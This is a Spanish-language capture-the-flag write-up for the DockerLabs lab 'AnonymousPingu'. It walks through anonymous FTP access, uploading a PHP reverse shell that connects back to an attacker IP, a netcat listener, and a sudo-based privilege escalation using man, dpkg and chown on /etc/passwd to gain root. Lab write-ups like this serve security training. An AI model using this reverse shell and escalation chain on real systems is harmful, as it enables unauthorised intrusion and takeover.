AnonymousPingu
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯 Resolución
🔍Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.
El escaneo revela que los servicios FTP y HTTP están activos. . Además, se confirmó que el servicio FTP permite conexiones anónimas, lo cual podría ser relevante para la investigación

🕵️ Análisis de vulnerabilidades
Accedimos al servicio FTP utilizando credenciales anónimas. Al explorar los directorios, identificamos que la carpeta upload cuenta con permisos de ejecución, lo que podría ser aprovechado para subir y ejecutar archivos.

🎯 Explotación
Dado que la carpeta uploads tiene permisos de ejecución, procedimos a subir un archivo PHP con una reverse shell básica. El código utilizado fue el siguiente:
<?php
$ip = '192.168.1.112'; // IP de la máquina atacante
$port = 3000; // Puerto donde el atacante está escuchando
$sock = fsockopen($ip, $port); // Abre una conexión de socket al atacante
$proc = proc_open('/bin/bash', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes); // Ejecuta bash y redirige la entrada/salida
?>
-
$ip = '192.168.1.112': Define la dirección IP del atacante, es decir, la máquina donde se recibirá la conexión inversa.
-
$port = 3000: Especifica el puerto en la máquina atacante donde estará escuchando un programa como Netcat (nc).
-
ip, $port): Establece una conexión de red (socket) entre el servidor comprometido y la máquina atacante utilizando la IP y el puerto definidos. -
$proc = proc_open('/bin/bash', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
Ejecuta el programa/bin/bash(el shell de Unix/Linux).- Redirige la entrada (0), salida (1) y error estándar (2) del shell a través del socket. Esto permite al atacante interactuar directamente con el sistema del servidor como si estuviera conectado a través de una terminal.
Para subirlo, usamos FTP:
put reverseshell.php
- Redirige la entrada (0), salida (1) y error estándar (2) del shell a través del socket. Esto permite al atacante interactuar directamente con el sistema del servidor como si estuviera conectado a través de una terminal.
Luego, en la máquina atacante iniciamos un listener con
nc -lvnp 3000
Ejecutamos el script accediendo a:
http://<IP_servidor>/uploads/reverseshell.php
Una vez obtenemos la reverse shell, es necesario ajustar algunos parámetros para hacerla más manejable. Esto nos permitirá usar combinaciones de teclas como Ctrl+C sin interrumpir la conexión, y también limpiar la pantalla con Ctrl+L.
Para mejorar la experiencia, ejecutamos los siguientes comandos:
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
📈 Escalada de privilegios
Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una
sudo -l
Identificamos que tenemos permisos para ejecutar el comando man (que muestra las páginas de manual de los comandos del sistema) como el usuario pingu, lo que podría ser aprovechado para escalar privilegios. Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios de administrador:

Escrbimos el comando y nos abrira como si fuese un manual . Un menú interativo
sudo -u pingu /usr/bin/man man
Dentro del manual, en este caso abrí el manual del propio comando man, aunque podría haber sido cualquier otro servicio. Al escribir !, se permite ejecutar cualquier comando dentro del menú del manual. Aprovechamos esta funcionalidad para abrir una shell ejecutando el comando !/bin/bash.

Ya somos el usuario pingu. Aplicamos nuevamente el comando sudo -l para verificar los siguientes privilegios disponibles y explorar posibles saltos de escalación.

Consultamos nuevamente en la página de GTFOBins para ver cómo escalar privilegios utilizando el comando dpkg. Al igual que con man, descubrimos que es posible ejecutar comandos dentro del menú interactivo de dpkg usando el siguiente comando:
sudo-u glays /usr/bin/dpkg -l
!/bin/sh
Ya somos el usuario Gladys. Aplicamos nuevamente el comando sudo -l para verificar los privilegios disponibles y explorar posibles escalaciones adicionales.

Esta vez, el usuario Gladys puede ejecutar el comando chown como root sin necesidad de contraseña. El comando chown permite cambiar la propiedad de cualquier directorio o archivo, lo que podría ser utilizado para obtener acceso completo a archivos o directorios del sistema.
Entonces, podemos cambiar la propiedad del archivo /etc/passwd, lo que nos permitiría modificarlo y potencialmente añadir un usuario o cambiar contraseñas, escalando así nuestros privilegios en el sistema.
cat /etc/passwd
Los x indican que el usuario debe proporcionar la contraseña para acceder. Ahora que somos propietarios de ese archivo, podemos modificarlo. Para ello, copiamos el archivo /etc/passwd, lo editamos y eliminamos el x del usuario root. Esto permitiría acceder a la cuenta root sin necesidad de contraseña.

Hacemos lo siguiente:
echo '[el contenido del bloc de notas]' > /etc/passwd
De esta manera, sobrescribimos el archivo /etc/passwd con los cambios realizados y obtenemos acceso como root, ya que eliminamos la contraseña del usuario root.
